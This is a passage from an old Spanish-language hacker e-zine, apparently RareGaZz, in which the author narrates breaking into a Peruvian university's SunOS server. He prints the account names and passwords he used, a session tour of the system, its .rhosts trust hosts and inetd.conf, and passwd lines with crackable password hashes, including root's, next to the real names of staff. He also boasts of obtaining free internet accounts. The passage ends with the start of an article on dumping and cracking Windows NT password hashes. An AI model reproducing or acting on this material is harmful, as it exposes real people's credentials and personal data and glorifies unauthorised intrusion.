parecia serlo. Empeze por seguir los 'clasicos' pasos para una 'auditoria' de
un servidor; buscar versiones, demonios, servicios, usuarios, cgis, etc; en el
transito de esa investigacion; olvide lo simple. Y que era lo simple?. Buscar
algun archivo 'sensible' en la intranet en que se encontraba ese servidor.
Sorprendido quede un dia al 'rebuscar' entre cientos de archivos,
compartidos por maquinas win* y su estupenda caracteristica de 'Recursos
Compartidos' sin contrase~a. Casi me caigo de mi asiento. :O)
Nota 1: Tener buenas politicas de backup y no confiar archivos sensibles a
maquinas win protegidas sin contrase~as o facilmente crackeables.
Hablamos de hace 3 A~os, Aun NO existia el w2000, el NTFS no era muy
extendido, y el Linux empezaba con furor.
4. Estamos dentro!:
Es el momento de ingresar. Al que madruga, Dios le ayuda!, asi es que
madrugue y me dirigi a un cybercafe o cabina de acceso a internet. Que mejor
seguridad que dejar la IP de ellos?.
Claro que necesitaba algun linux, y en aquella epoca, no era dificil
encontrar algun sistema que me permitiera 'utilizarlo' para mi proposito.
Trying 161.132.232.10...
Connected to chanchan.unitru.edu.pe.
Escape character is '^]'.
Red Cientifica Peruana (Sistema Unix)
login:
Esto siempre es un dolor de cabeza!. Han notado que casi nunca o 'nunca',
los textos que narran 'ingresos', NO os dicen el login y password?. Pues es
momento de cambiar esto.
login: eelitsa
Password:
Login incorrect
login: kit
Password:
Login incorrect
Tuve derecho a equivocarme, NO???.
login: kits
Password: kits ( NO recuerdo bien, pero estoy CASI seguro)
Last login: Thu Mar 2 19:38:37 from 161.132.232.245
Sun Microsystems Inc. SunOS 5.6 Generic August 1997
Nota 2: El eterno ID = PASS; esto debe de ser desterrado; pero aun hoy, por
increible que pueda resultar, existe; y aun lo constato.
NULA existencia de algun mecanismo de proteccion externa, ningun
tipo de control para conecciones foraneas o restringir el acceso.
Manipulacion de algunos files en su /etc, podrian haber cambiado un
poco el trancurrir de esta historia. NADA.
5. Descubriendo.
Se que se estaran preguntado como es que consegui las claves para ingresar a
este servidor. Es simple, si continuan leyendo y son habiles, se daran cuenta
de ello, pues en una NOTA posterior lo comento.
Fue la primera vez que estaba en un Sistema de este tipo y no fue nada
dificil. Aqui voy a fusionar mis 2 ingresos a este servidor.
kits >> finger
Login Name TTY Idle When Where
pquevedo Patricia Quevedo Mor pts/0 1:24 Fri 07:13 shorey.unitru.edu.pe
rprada Robert Prada Marchen console 1:32 Mon 10:03 :0
eguarniz Elmer Guarniz Guarni pts/2 53 Fri 07:20 simbal.unitru.edu.pe
wcg Wilder Castanheda Ga pts/3 Fri 08:56 161.132.232.22
jsanchez Jose A. Sanchez Llaj pts/10 9 Fri 08:47 sarin.unitru.edu.pe
kits Kits RCP pts/11 Fri 08:56 127.0.0.1
No tengo porque 'censurar' la imformacion ni colocar asteriscos ni nada por
el estilo. El primer ingreso lo realize con la cuenta 'kits'; que segun
recuerdo era el encargado de dar soporte a 'kits' de conecciones para que las
personas o entidades puediesen tener acceso a internet. Y vale el comentario,
que sus tarifas NO eran muy bajas.
Nota 3: Deshabilitar 'finger' era algo impensado en aquellas epocas. Ahora
es una LEY, ningun servidor debe permitirse brindar este tipo de
informacion.
kits >> uname -a
SunOS chanchan 5.6 Generic sun4m sparc SUNW,SPARCstation-4
kits >> w
8:57am up 6 day(s), 3 min(s), 6 users, load average: 0.28, 0.22, 0.18
User tty login@ idle JCPU PCPU what
pquevedo pts/0 7:13am 1:26 10 -csh
rprada console Mon10am 4days 2 /usr/dt/bin/sdt_shell -c unseten
eguarniz pts/2 7:20am 55 5 3 /usr/local/bin/elm.pico
wcg pts/3 8:56am 1 /usr/local/bin/elm.pico
jsanchez pts/10 8:47am 10 /usr/local/bin/elm.pico
rprada pts/7 Mon10am 25:53 4 2 /bin/csh
rprada pts/9 Mon10am 1:33 18 /bin/csh
rprada pts/8 Mon10am 4days 18 6 /bin/csh
kits pts/11 8:56am w
Aqui expongo un punto que 'ellos' consideraban de seguridad; pero poco
sirvio y que pudo burlarse con un poco de astucia. Os dareis cuenta de la
utilizacion de 'pico' y la minoria utilizando 'csh'. En este sistema solo
algunas 'cuentas' tenian acceso a un shell; los demas se redirigian a un shell
restringido; que no era mas que un script y un binario, con un simple menu de
3 opciones.
Nota 4: La utilizacion de un shell 'restringido' es un metodo que aun se
utiliza. Pero esto debe conllevar tambien a un buen seteo en los
permisos de archivos y la no escalabilidad de directorios. Tener en
consideracion ademas en los posibles 'problemas' a los que pueden
conllevar los programas utilizados en ese shell 'restringido'.
Es bien sabido que algunos programas permiten escapar a un shell o
la ejecucion de comandos.
Os pido disculpas si los listados resultan muy engorrosos, tratare de
recortarlos a lo minimo.
kits >> ls /
drwxrwxrwt 7 sys sys 1705 Mar 31 08:59 tmp
-rw------- 1 root root 255136 Mar 30 14:12 core
drwxr-xr-x 24 root sys 3072 Mar 29 02:12 etc
dr-xr-xr-x 6 root root 512 Mar 25 08:57 vol
dr-xr-xr-x 1 root root 1 Mar 25 08:57 home
dr-xr-xr-x 1 root root 1 Mar 25 08:57 net
dr-xr-xr-x 1 root root 1 Mar 25 08:57 xfn
drwxrwxr-x 17 root sys 3584 Mar 25 08:55 dev
drwx------ 2 root other 512 Mar 12 13:12 Mail
drwxrwxr-x 31 root sys 1024 Feb 3 09:26 usr
drwxrwxr-x 20 root sys 512 Nov 29 10:10 var
drwxr-xr-x 2 root nobody 512 Nov 29 09:04 cdrom
drwxr-xr-x 2 root root 512 Nov 29 08:12 TT_DB
drwxrwxr-x 5 root sys 512 Nov 29 07:59 devices
drwxrwxr-x 4 root sys 512 Nov 29 07:50 opt
drwxrwxr-x 2 root sys 512 Nov 29 07:49 export
drwxrwxr-x 2 root sys 512 Nov 29 07:24 sbin
drwxr-xr-x 3 root sys 512 Nov 29 07:19 platform
drwxr-xr-x 9 root sys 512 Nov 29 07:18 kernel
lrwxrwxrwx 1 root root 9 Nov 29 07:17 lib -> ./usr/lib
drwxrwxr-x 2 root sys 512 Nov 29 07:17 mnt
lrwxrwxrwx 1 root root 9 Nov 29 07:17 bin -> ./usr/bin
drwx------ 2 root root 8192 Nov 29 07:12 lost+found
drwxr-xr-x 12 rlent 15 512 Nov 27 18:49 usr2
Habia algunas cosas diferentes a los que yo estaba acostumbrado a ver en mi
linux de cada dia. Un core?...
Si un core. Provoca hacer un gdb --core=core? :). En aquella epoca era aun
inexperto en estos temas, y tal vez esta 'historia' hubiese resultado mas
interesante si le dedicaba mas tiempo a ello.
Pase por alto examinar ese core. NO le preste mucha antencion. El tiempo
apremia.
Nota 5: Tener cuidado con los 'cores' y los programas que los generan. No se
necesita ser muy docto, y vosotros sabeis a lo que puede conllevar
el analisis y posterior 'explotacion' de esto; mas aun si los
programas que los generaron permitiesen elevar los priviliegios de
un usuario normal.
-> Como dije anteriormente, fusionare mis 2 ingresos. Mi segundo ingreso,
dias despues... Lo cual no significa que esto sea cronologico. <-
login: leba
Password: ( La clave NO la recuerdo )
Sun Microsystems Inc. SunOS 5.6 Generic August 1997
chanchan%
Este tenia mas pinta de privilegiado. ;)
chanchan% ls -atl | more
total 661
dr-xr-xr-x 56 root root 16064 Apr 2 08:58 proc
drwxrwxrwt 7 sys sys 1745 Apr 2 08:58 tmp
drwxr-xr-x 24 root sys 3072 Apr 1 04:05 etc
-rw------- 1 root root 255136 Mar 30 14:12 core
dr-xr-xr-x 6 root root 512 Mar 25 08:57 vol
-rw------- 1 root root 1028 Mar 25 08:57 .cpr_config
dr-xr-xr-x 1 root root 1 Mar 25 08:57 home
dr-xr-xr-x 1 root root 1 Mar 25 08:57 net
dr-xr-xr-x 1 root root 1 Mar 25 08:57 xfn
drwxrwxr-x 17 root sys 3584 Mar 25 08:55 dev
drwxr-xr-x 12 root other 512 Mar 12 15:46 .dt
drwxr-xr-x 26 root root 1024 Mar 12 15:45 .
drwxr-xr-x 26 root root 1024 Mar 12 15:45 ..
-rw------- 1 root other 102 Mar 12 15:45 .Xauthority
-rw------- 1 root other 1036 Mar 12 13:18 .cpr_default
drwx------ 2 root other 512 Mar 12 13:12 Mail
drwxrwxr-x 31 root sys 1024 Feb 3 09:26 usr
-rw-r--r-- 1 root other 123 Jan 7 13:02 .rhosts
drwxrwxr-x 20 root sys 512 Nov 29 10:10 var
drwxr-xr-x 2 root nobody 512 Nov 29 09:04 cdrom
drwxr-xr-x 2 root root 512 Nov 29 08:12 TT_DB
-rwxr-xr-x 1 root other 5111 Nov 29 08:12 .dtprofile
drwxrwxr-x 5 root sys 512 Nov 29 07:59 devices
drwxrwxr-x 4 root sys 512 Nov 29 07:50 opt
drwxrwxr-x 2 root sys 512 Nov 29 07:49 export
drwxrwxr-x 2 root sys 512 Nov 29 07:24 sbin
drwxr-xr-x 3 root sys 512 Nov 29 07:19 platform
drwxr-xr-x 9 root sys 512 Nov 29 07:18 kernel
lrwxrwxrwx 1 root root 9 Nov 29 07:17 lib -> ./usr/lib
drwxrwxr-x 2 root sys 512 Nov 29 07:17 mnt
lrwxrwxrwx 1 root root 9 Nov 29 07:17 bin -> ./usr/bin
drwx------ 2 root root 8192 Nov 29 07:12 lost+found
drwxr-xr-x 12 102 15 512 Nov 27 18:49 usr2
drwxr-xr-x 2 root other 512 Mar 7 1997 .ssh
Aqui llama mi atencion el archivo .rhosts; vosotros ya sabeis la historia y
fama que tiene aunque cada vez menos, este dichoso archivo. No olvidar tambien
los archivos de configuracion que aparecen alli.
Me percato tambien que al 'core' podemos denominarlo un core 'fresco'; pues
mi primer ingreso fue el 31; y segun se puede apreciar, la fecha en que se
genero ese core, fue el 30.
Ahora me dirijo hacia un directorio clasico; el /etc.
chanchan% ls -atl | more
total 748
prw------- 1 root root 0 Apr 2 08:56 utmppipe
prw------- 1 root root 0 Apr 2 08:55 initpipe
drwxr-xr-x 24 root sys 3072 Apr 1 04:05 .
-rw-r--r-- 1 root root 5 Apr 1 04:05 syslog.pid
-r-------- 1 root sys 17839 Mar 31 15:08 shadow
-rw------- 1 root sys 0 Mar 31 15:08 .pwd.lock
-r-------- 1 root sys 17839 Mar 31 15:08 oshadow
-r--r--r-- 1 root other 56135 Mar 31 15:06 passwd
Como ustedes Se~ores visitantes, pueden apreciar; los permisos de los
archivos objetivo de cualquier 'cracker'; estan correctamente seteados para
la epoca en cuestion. Pero... Como mencione antes... solo algunos 'usuarios'
tenian un 'verdadero' shell, y la lectura del archivo passwd, me permite
concentrarme en aquellos que lo tienen.
drwxrwxr-x 2 root sys 512 Mar 31 13:37 rc3.d
drwxrwxr-x 2 root sys 1024 Mar 31 13:35 init.d
drwxr-xr-x 3 bin bin 512 Mar 25 08:57 saf
-rw-r--r-- 1 root root 588 Mar 25 08:57 mnttab
drwxr-xr-x 2 root sys 512 Mar 25 08:57 cron.d
-rw-r--r-- 1 root root 0 Mar 25 08:57 .mnttab.lock
-rw-r--r-- 1 root root 690 Mar 25 08:57 nsswitch.conf
drwxr-xr-x 26 root root 1024 Mar 12 15:45 ..
drwxrwxr-x 2 root sys 1024 Feb 28 21:13 rc2.d
drwxrwxr-x 2 root sys 512 Jan 7 13:39 default
-rwx------ 1 root other 7 Nov 29 12:19 sudoers
-rw-r--r-- 1 root other 18510 Nov 29 11:41 shadow.o
-rw-r--r-- 1 root other 58049 Nov 29 11:41 passwd.o
Pero aqui SI que la C*G*RON! (reemplacese los '*' por 'a') :)
Haber si entiendo SU logica; los archivos 'originales' y sensibles tienen
los permisos correctamente seteados, pero los 'backups' de los mismos NO?.
-rw-r--r-- Dios!... Porque!?... Why?
Nota 6: Repito!. Tener cuidado con los permisos de los archivos. Debo decir
algo mas?.
Voy recortar este extenso listado...
drwxr-xr-x 2 root sys 512 Nov 29 09:41 inet
drwxrwxr-x 2 bin mail 512 Nov 29 09:41 mail
-rw-rw-r-- 1 root sys 417 Nov 29 09:40 vfstab
-rw-r--r-- 1 root root 10750 Nov 29 09:36 .obp_devices
-r--r--r-- 1 root sys 2133 Nov 29 09:36 path_to_inst
-r--r--r-- 1 root sys 2133 Nov 29 09:36 path_to_inst.old
drwxr-xr-x 6 root sys 512 Nov 29 09:27 security
-r--r--r-- 1 root sys 351 Nov 29 08:08 dgroup.tab
-rw-r--r-- 1 root sys 931 Nov 29 08:08 power.conf
-r--r--r-- 1 root root 1411 Nov 29 08:08 device.tab
drwxrwxr-x 9 lp lp 512 Nov 29 08:08 lp
Dr--r--r-- 1 root root 0 Nov 29 08:08 .name_service_door
Drw-r--r-- 1 root root 0 Nov 29 08:08 .syslog_door
-rw-r--r-- 1 root other 213 Nov 29 08:08 .sysIDtool.state
-rw-r--r-- 1 root sys 8670 Nov 29 07:59 format.dat
-rw-r--r-- 1 root root 9 Nov 29 07:59 nodename
drwxrwxr-x 2 root sys 512 Nov 29 07:52 rc0.d
-rw-r--r-- 1 root sys 997 Nov 29 07:50 driver_aliases
-rw-r--r-- 1 root sys 2822 Nov 29 07:50 minor_perm
-rw-r--r-- 1 root sys 1048 Nov 29 07:50 name_to_major
lrwxrwxrwx 1 root root 18 Nov 29 07:49 chroot -> ../usr/sbin/chroot
lrwxrwxrwx 1 root root 17 Nov 29 07:49 fuser -> ../usr/sbin/fuser
lrwxrwxrwx 1 root root 16 Nov 29 07:49 link -> ../usr/sbin/link
<--- cut -->
-rw-r--r-- 1 root sys 686 Jul 15 1997 nsswitch.files
-rw-r--r-- 1 root sys 2303 Jul 15 1997 ttydefs
-r--r--r-- 1 bin bin 12095 Jul 15 1997 magic
-rw-r--r-- 1 root sys 2855 Jul 15 1997 name_to_sysnum
-rw-r--r-- 1 root other 5 May 26 1997 sshd.pid
-rw-r--r-- 1 root other 855 May 26 1997 ssh_config
-rw------- 1 root other 526 May 26 1997 ssh_host_key
-rw-r--r-- 1 root other 330 May 26 1997 ssh_host_key.pub
-rw-r--r-- 1 root other 125 Oct 10 1996 shells
-rw-rw-r-- 1 root sys 1047 Jan 1 1970 inittab
-rw-r--r-- 1 root sys 52 Jan 1 1970 motd
-rw-r--r-- 1 root sys 773 Jan 1 1970 nscd.conf
Con todos los archivos listados; puedo hacerme una idea general sobre este
sistema; que utiliza, el proposito de este, sus 'mecanimos' de
pseudo-seguridad, demonios, versiones, configuraciones, seteos,
administracion, y un largo etc. Todo es cuestion de paciencia y tiempo; lo
cual NO poseia en aquel entonces.
Ahora lo siguiente:
<-- cut -->
-r-xr-xr-x 1 bin bin 71912 Jul 15 1997 talk
-r-xr-xr-x 1 bin bin 37468 Jul 15 1997 daps
-r-sr-xr-x 1 root bin 53308 Jul 15 1997 rdist
-r-xr-sr-x 1 bin sys 52272 Jul 15 1997 netstat
-r-xr-xr-x 1 bin bin 69728 Jul 15 1997 ftp
-r-sr-xr-x 1 root bin 15808 Jul 15 1997 rlogin
-r-sr-xr-x 1 root bin 8772 Jul 15 1997 rsh
-r-sr-xr-x 1 root bin 20292 Jul 15 1997 rcp
-r-xr-xr-x 1 bin bin 6088 Jul 15 1997 rwho
-r-xr-xr-x 1 bin bin 5440 Jul 15 1997 whois
-r-xr-xr-x 1 bin bin 21292 Jul 15 1997 finger
-r-xr-xr-x 1 bin bin 5944 Jul 15 1997 rdate
-r-xr-xr-x 1 bin bin 7228 Jul 15 1997 ruptime
-r-xr-xr-x 1 bin bin 26796 Jul 15 1997 stty
-r-x--s--x 1 bin mail 127540 Jul 15 1997 mailx
Se aprecian muchos binarios con permiso 's', algo muy delicado a tomar en
consideracion.
Nota 7: Tener MUCHO cuidado con aquellos binarios cuya ejecucion se produce
con permisos de otro usuario o grupo. Estos permitieron y aun
permiten; gracias a las fallas de programacion que algunos de estos
binarios poseen; explotarlos para elevar privilegios en el sistema.
Turno de relajarse y ver que hace este sistema.
> netstat | more
TCP
Local Address Remote Address Swind Send-Q Rwind Recv-Q State
-------------------- -------------------- ----- ------ ----- ------ -------
chanchan.unitru.edu.pe.33216 chanchan.unitru.edu.pe.6000 32768 0 32768
0 ESTABLISHED
chanchan.unitru.edu.pe.6000 chanchan.unitru.edu.pe.33216 32768 0 32768
0 ESTABLISHED
localhost.33218 localhost.33211 32768 0 32768 0 ESTABLISHED
localhost.33211 localhost.33218 32768 0 32768 0 ESTABLISHED
localhost.33221 localhost.33220 32768 0 32768 0 ESTABLISHED
localhost.33220 localhost.33221 32768 0 32768 0 ESTABLISHED
chanchan.unitru.edu.pe.telnet shorey.unitru.edu.pe.1031 7756 0 8760
0 ESTABLISHED
chanchan.unitru.edu.pe.telnet simbal.unitru.edu.pe.1060 7987 0 8760
0 ESTABLISHED
chanchan.unitru.edu.pe.telnet sarin.unitru.edu.pe.1033 8710 0 8760 0 ESTABLISHED
Tenemos 3 conecciones al puerto 'telnet' de este server; y si mal no
recuerdo al 'finger' anterior, estan haciendo uso de 'pico' para revisar su
correo. Tiene derecho, NO?
chanchan.unitru.edu.pe.pop asy659.rcp.net.pe.1339 8760 8191 8760 0 ESTABLISHED
Dejadme recordar!. Si la memoria NO me falla; esto debe ser un usuario que
pago sus dolares por un acceso a internet; y que en aquellos momentos esta
haciendo uso de su maravillosa cuenta 'pop'. :)
chanchan.unitru.edu.pe.telnet localhost.24079 33580 0 8760
0 ESTABLISHED
Si, asi es, ese soy yo.
chanchan.unitru.edu.pe.telnet simbal.unitru.edu.pe.1136 7955 0 8760
0 ESTABLISHED
chanchan.unitru.edu.pe.telnet 161.132.232.223.1026 8760 0 8760 0 ESTABLISHED
chanchan.unitru.edu.pe.smtp math.unitru.edu.pe.1653 31744 0 8760 0 TIME_WAIT
Oh!... mi estimado servidor 'math', si revisais RareGaZz 17, podeis
enterarse de la historia de dicho servidor.
chanchan.unitru.edu.pe.35748 relay1.rcp.net.pe.smtp 8760 0 8760 0 TIME_WAIT
chanchan.unitru.edu.pe.35749 relay3.rcp.net.pe.smtp 8760 0 8760 0 TIME_WAIT
chanchan.unitru.edu.pe.smtp relay1.rcp.net.pe.43791 8760 0 8760 0 TIME_WAIT
Ahora el server y sus 'hermanos' se relacionan con sus puertos 'smtp'. Que
viva el correo electronico! =)
chanchan.unitru.edu.pe.smtp firebrick.entel.cl.16955 49152 0 8760 0
TIME_WAIT
entel.cl? Chile?. Aprovechando que menciono a este pais -'Saludos a mi amigo
Ocsic!'. :X
chanchan.unitru.edu.pe.smtp 209.45.91.2.2341 8072 0 8760 0 TIME_WAIT
Active UNIX domain sockets
Address Type Vnode Conn Local Addr Remote Addr
f5cef010 stream-ord f59446a0 0 /tmp/.X11-unix/X0
f5cef310 stream-ord 0 0
Ahora es turno de 'mirar' algunos archivos que resultan de especial interes:
-> .rhosts
opera.rcp.net.pe root
opera.rcp.net.pe informix
amauta.rcp.net.pe root
uurcp1.rcp.net.pe root
motupe.rcp.net.pe root
Si mi memoria no me falla, esto permite una autentificacion mas directa con
este servidor. Cuidado alli!.
-> inetd.conf
#
#ident "@(#)inetd.conf 1.22 95/07/14 SMI" /* SVr4.0 1.5 */
#
#
# Configuration file for inetd(1M). See inetd.conf(4).
#
# To re-configure the running inetd process, edit this file, then
# send the inetd process a SIGHUP.
#
# Syntax for socket-based Internet services:
# <service_name> <socket_type> <proto> <flags> <user> <server_pathname> <args>
#
# Syntax for TLI-based Internet services:
#
# <service_name> tli <proto> <flags> <user> <server_pathname> <args>
#
# Ftp and telnet are standard Internet services.
#
ftp stream tcp nowait root /usr/sbin/in.ftpd in.ftpd
telnet stream tcp nowait root /usr/sbin/in.telnetd in.telnetd
Era evidente el hecho que esto estuviese habilitado, sino como explicar mi
presencia NO autorizada en este servidor? ;)
#
# Tnamed serves the obsolete IEN-116 name server protocol.
#
# name dgram udp wait root /usr/sbin/in.tnamed in.tnamed
#
# Shell, login, exec, comsat and talk are BSD protocols.
#
# LA SGTE LINEA NO DESHABILITARLA, GRACIAS. Enrique Vadillo - RCP Lima
shell stream tcp nowait root /usr/sbin/in.rshd in.rshd
Al leer la anterior linea 'incomentada' viene a mi mente la frase "no
password used". Y dan las gracias!.
# login stream tcp nowait root /usr/sbin/in.rlogind in.rlogind
# exec stream tcp nowait root /usr/sbin/in.rexecd in.rexecd
# comsat dgram udp wait root /usr/sbin/in.comsat in.comsat
talk dgram udp wait root /usr/sbin/in.talkd in.talkd
Oh que horror!... talk!... que forma de comunicarse.
#
# Must run as root (to read /etc/shadow); "-n" turns off logging in utmp/wtmp.
#
uucp stream tcp nowait root /usr/sbin/in.uucpd in.uucpd
#
# Tftp service is provided primarily for booting. Most sites run this
# only on machines acting as "boot servers."
#
#tftp dgram udp wait root /usr/sbin/in.tftpd in.tftpd -s /tftpboot
#
# Finger, systat and netstat give out user information which may be
# valuable to potential "system crackers." Many sites choose to disable
# some or all of these services to improve security.
#
finger stream tcp nowait nobody /usr/sbin/in.fingerd in.fingerd
Acaso estos tipos NO saben ingles; como lo dije en unas de mis notas
anteriores. NO finger!. Que ironico comentario: -informacion valiosa para
potenciales 'crackers de sistemas' =) Me siento aludido.
#systat stream tcp nowait root /usr/bin/ps ps -ef
#netstat stream tcp nowait root /usr/bin/netstat netstat -f inet
#
# Time service is used for clock synchronization.
#
#time stream tcp nowait root internal
#time dgram udp wait root internal
#
# Echo, discard, daytime, and chargen are used primarily for testing.
#
#echo stream tcp nowait root internal
#echo dgram udp wait root internal
#discard stream tcp nowait root internal
#discard dgram udp wait root internal
#daytime stream tcp nowait root internal
#daytime dgram udp wait root internal
#chargen stream tcp nowait root internal
#chargen dgram udp wait root internal
#
#
# RPC services syntax:
# <rpc_prog>/<vers> <endpoint-type> rpc/<proto> <flags> <user> \
# <pathname> <args>
#
# <endpoint-type> can be either "tli" or "stream" or "dgram".
# For "stream" and "dgram" assume that the endpoint is a socket descriptor.
# <proto> can be either a nettype or a netid or a "*". The value is
# first treated as a nettype. If it is not a valid nettype then it is
# treated as a netid. The "*" is a short-hand way of saying all the
# transports supported by this system, ie. it equates to the "visible"
# nettype. The syntax for <proto> is:
# *|<nettype|netid>|<nettype|netid>{[,<nettype|netid>]}
# For example:
# dummy/1 tli rpc/circuit_v,udp wait root /tmp/test_svc test_svc
#
# Solstice system and network administration class agent server
#100232/10 tli rpc/udp wait root /usr/sbin/sadmind sadmind
#
# Rquotad supports UFS disk quotas for NFS clients
#
#rquotad/1 tli rpc/datagram_v wait root /usr/lib/nfs/rquotad rquotad
#
# The rusers service gives out user information. Sites concerned
# with security may choose to disable it.
#
#rusersd/2-3 tli rpc/datagram_v,circuit_v wait root /usr/lib/netsvc/rusers/rpc.rusersd rpc.rusersd
#
# The spray server is used primarily for testing.
#
#sprayd/1 tli rpc/datagram_v wait root /usr/lib/netsvc/spray/rpc.sprayd rpc.sprayd
#
# The rwall server allows others to post messages to users on this machine.
#
#walld/1 tli rpc/datagram_v wait root /usr/lib/netsvc/rwall/rpc.rwalld rpc.rwalld
#
# Rstatd is used by programs such as perfmeter.
#
#rstatd/2-4 tli rpc/datagram_v wait root /usr/lib/netsvc/rstat/rpc.rstatd rpc.rstatd
#
# The rexd server provides only minimal authentication and is often not run
#
#rexd/1 tli rpc/tcp wait root /usr/sbin/rpc.rexd rpc.rexd
#
# rpc.cmsd is a data base daemon which manages calendar data backed
# by files in /var/spool/calendar
#
#100068/2-4 dgram rpc/udp wait root /usr/openwin/bin/rpc.cmsd rpc.cmsd
#
# Sun ToolTalk Database Server
#
#100083/1 stream rpc/tcp wait root /usr/dt/bin/rpc.ttdbserverd rpc.ttdbserverd
#
# UFS-aware service daemon
#
#ufsd/1 tli rpc/* wait root /usr/lib/fs/ufs/ufsd ufsd -p
#
# Sun KCMS Profile Server
#
#100221/1 tli rpc/tcp wait root /usr/openwin/bin/kcms_server kcms_server
#
# Sun Font Server
#
#fs stream tcp wait nobody /usr/openwin/lib/fs.auto fs
#
pop stream tcp nowait root /usr/local/etc/qpopper qpopper
pop2 stream tcp nowait root /usr/local/etc/qpopper qpopper
# popmaster
#popmd stream tcp nowait root /usr/local/popm/bin/popmd popmd
Nota 8: Tener cuidado al editar el archivo inetd.conf; pensar muy bien que
servicios habilitar o deshabilitar, y darse un tiempo para leer los
sabios 'consejos' que este archivo brinda.
Recuerdo a los files; networks, protocols, services, netconfig, y mas; pero
creo innecesario colocarlos aqui.
Pero vosotros diran: Donde esta el passwd, y el shadow?.
Aqui esta un fragmento, recuparado de uno de mis backups.
majordomo:x:98:20:Majordomo:/usr/smail/majordomo-1.94.4:/bin/true
Postmaster:K.60i2aBnI9wI:113:20:Postmaster Nodo INTERNET-UNT,Ciudad Universitaria - UNT (Edificio de Matematicas),(51-44) 26 13 43 Anexo 282,:/usr/u/Postmaster:/bin/csh
aalp:3xt6LdMfvx5Ng:1350:11:Abraham A. Luyo Padilla (Prof. Microbiologia y Parasit. UNT):/usr/c/aalp:/usr/local/rcpshells/cabinash
adm:NP:4:4:Admin:/var/adm:
admision:KABQIXrlcyF62:20:101:UUCP admision:/var/spool/uucppublic:/usr/lib/uucp/uucico
aemt:vNH3E7AeY.b3Q:1349:11:Adriana E. Miranda Troncoso (Prof. Educacion - UNT):/usr/c/aemt:/usr/local/rcpshells/cabinash
aeta:DZIcpbd2tdtyY:1345:11:Alvaro E. Tresierra Aguilar (Prof. Pesqueria - UNT):/usr/c/aeta:/usr/local/rcpshells/cabinash
aeta:DZIcpbd2tdtyY:1513:11:Tresierra Aguilar Alvaro :/usr/i/aeta:/usr/local/rcpshells/rcpsh
agbet:v5E3xcQMe9m56:1454:11:Aurora Genevieve Betson (Prof. Centro Idiomas UNT):/usr/c/agbet:/usr/local/rcpshells/cabinash
agpv:LO7J/PCr3QS1Q:1646:11:Angela Guadalupe Pesantes Valdivia (Prof. Postgrado UNT):/usr/c/agpv:/usr/local/rcpshells/cabinash
<-- cut -->
robr:aMATMBenz9PxU:1321:11:Rosa O. Baquedano Rubio (Prof. Farmacia UNT):/usr/c/robr:/usr/local/rcpshells/cabinash
root:bAlbJtVoZrqug:0:1:Super-User:/:/sbin/sh
rorr:SyH3erW4F3KJU:1314:11:Roberto Rodriguez Rodriguez (Prof. Biologicas UNT):/usr/c/rorr:/usr/local/rcpshells/cabinash
rotac:4AhH7OxNLks9s:1319:11:Robert Tantalean Carrasco (Prof. Quimica UNT):/usr/c/rotac:/usr/local/rcpshells/cabinash
rprada:CU.ik.6OB9/xo:112:20:Robert Prada Marchena (Postmaster/Operador):/usr/u/rprada:/bin/csh
rvv:i3uiXcgRSceCM:1358:11:Ronald Villacorta Velasquez (Prof. Farmacia y Bioq. - UNT):/usr/c/rvv:/usr/local/rcpshells/cabinash
<-- cut -->
Y asi continua un listado de casi 600 usuarios.
Como vosotros pueden ahora confirmar, SOLO algunos usuarios tienen un
/bin/csh; los demas 'mortales' un /usr/local/rcpshells/cabinash.
6. Saliendo:
A modo de ocaso del presente texto, voy a a~adir informacion adicional que
creo relevante.
Existia un comando que me dio informacion de todos los usuarios existentes
en el sistema; con el cual puedo corroborar los datos de los propietarios de
las cuentas utilizadas para el ingreso al servidor.
eelitsa Empresa Editora La Industria de Trujillo S.A
kits Kits RCP,,,
leba Abel del Carpio - RCP Lima,RCP Lima,,
Recuerdo haber utilizado algunas mas, pero sus claves fueron cambiadas
despues de ser utilizadas por mi. :(
Y aprovechando que me estoy 'confesando' y expresando mis pecados. :) Debo
decir tambien que se 'obtuvo' muchas cuentas de acceso a internet Totalmente
GRATIS, gracias al descuido de los administradores. Mientras unos pagaban a la
RCP, por sus cuentas doradas, plateadas, y no se que mas... OTROS, disfrutaban
de acceso Gratuito, para fines educativos. :O)
Colocaria aqui un par de esas 'cuentas', pero el cd-rom en el cual estan, lo
tengo da~ado.
Finalmente fue posible 'obtener' mucha mas informacion relevante de este
server y tambien de los administradores de este; como documentos, imagenes,
bases de datos, codigos, etc, etc. Asuntos que no creo conveniente ventilar
aqui. =)
7. Final:
Si os preguntais: -'Y el root?, te hiciste root?'. Mi respuesta seria la
siguiente: -Despues de haber leido todo lo anterior, crees necesario el que te
lo diga?. Si lo fui o NO; no es el punto.
Repito!. NO estoy insitando a nadie a 'irrumpir' en sistemas informaticos.
YO no me hago responsable de las tonterias que puedas comenter. No hay que
meterse en sistemas ajenos para ser 'hackers', hay muchisimas formas de
aportar al mundo de la informatica y mejorar la integridad y seguridad de los
sistemas.
Siempre que narro uno de mis ingresos a 'servidores', lo hago con el
proposito de mostrar lo relativamente 'facil' que es ingresar y potencialmente
hacer lo que se desee, aprovechando cualquie tipo de falla.
Cada historia es diferente al igual que cada sistema.
Hasta siempre...
ReYDeS - ReYDeS@bigfoot.com
" El mejor hack que hize, fue a una mujer;
y hasta el dia de hoy, NO puedo borrarla
de mis logs. "
Y.O.
<<::RareGaZz::>>
: :.:..:...:....:.....:......:.......:........:.........:..........: : : ::::
: : : :
RGZ_0D Contrase~as en Windows NT Seguridad y Auditoria Angel Protector
: :.:..:...:....:.....:......:.......:........:.........:..........: : : ::::
01. Introduccion
02. Conceptos Generales
03. Debilidades en la Implementacion de Contrase~as
04. Debilidades en la Implementacion de Contrase~as en Windows NT 4.0
a. Que es un Hash?
b. Como trabaja NT con valores Hash?
c. Tipos basicos de autentificacion en Windows
d. El verdadero problema: LANManager
06. Obteniendo datos de la SAM
a. Arrancar con un sistema operativo distinto (NTFSDOS)
b. Obtener la copia de seguridad de la sam del directorio repair
c. Extraer los hashes de la SAM (PWDUMP)
d. Obtener hashes por medio de escuchas en la red
07. Infalible: L0phtCrack
a. LC3 en Accion
b. Mejoras en la version 3.02
08. Windows 2000
09. Contramedidas
10. Conclusiones
11. Tools
12. Links/Referencias
01. Introduccion
~~~~~~~~~~~~~~~~
A menudo sucede que escuchamos algunas frases que por su naturaleza podrian
aplicarse a un sin numero de situaciones.
Al momento de decidir cual de ellas utilizaria para ilustrar esta nota,
inmediatamente vino a mi mente aquella que reza *Hay que volver a las
fuentes*
Desde los inicios de la humanidad hubo cosas que mantener en secreto. Esta
absolutamente comprobado que desde edades remotas la inventiva humana trabajo
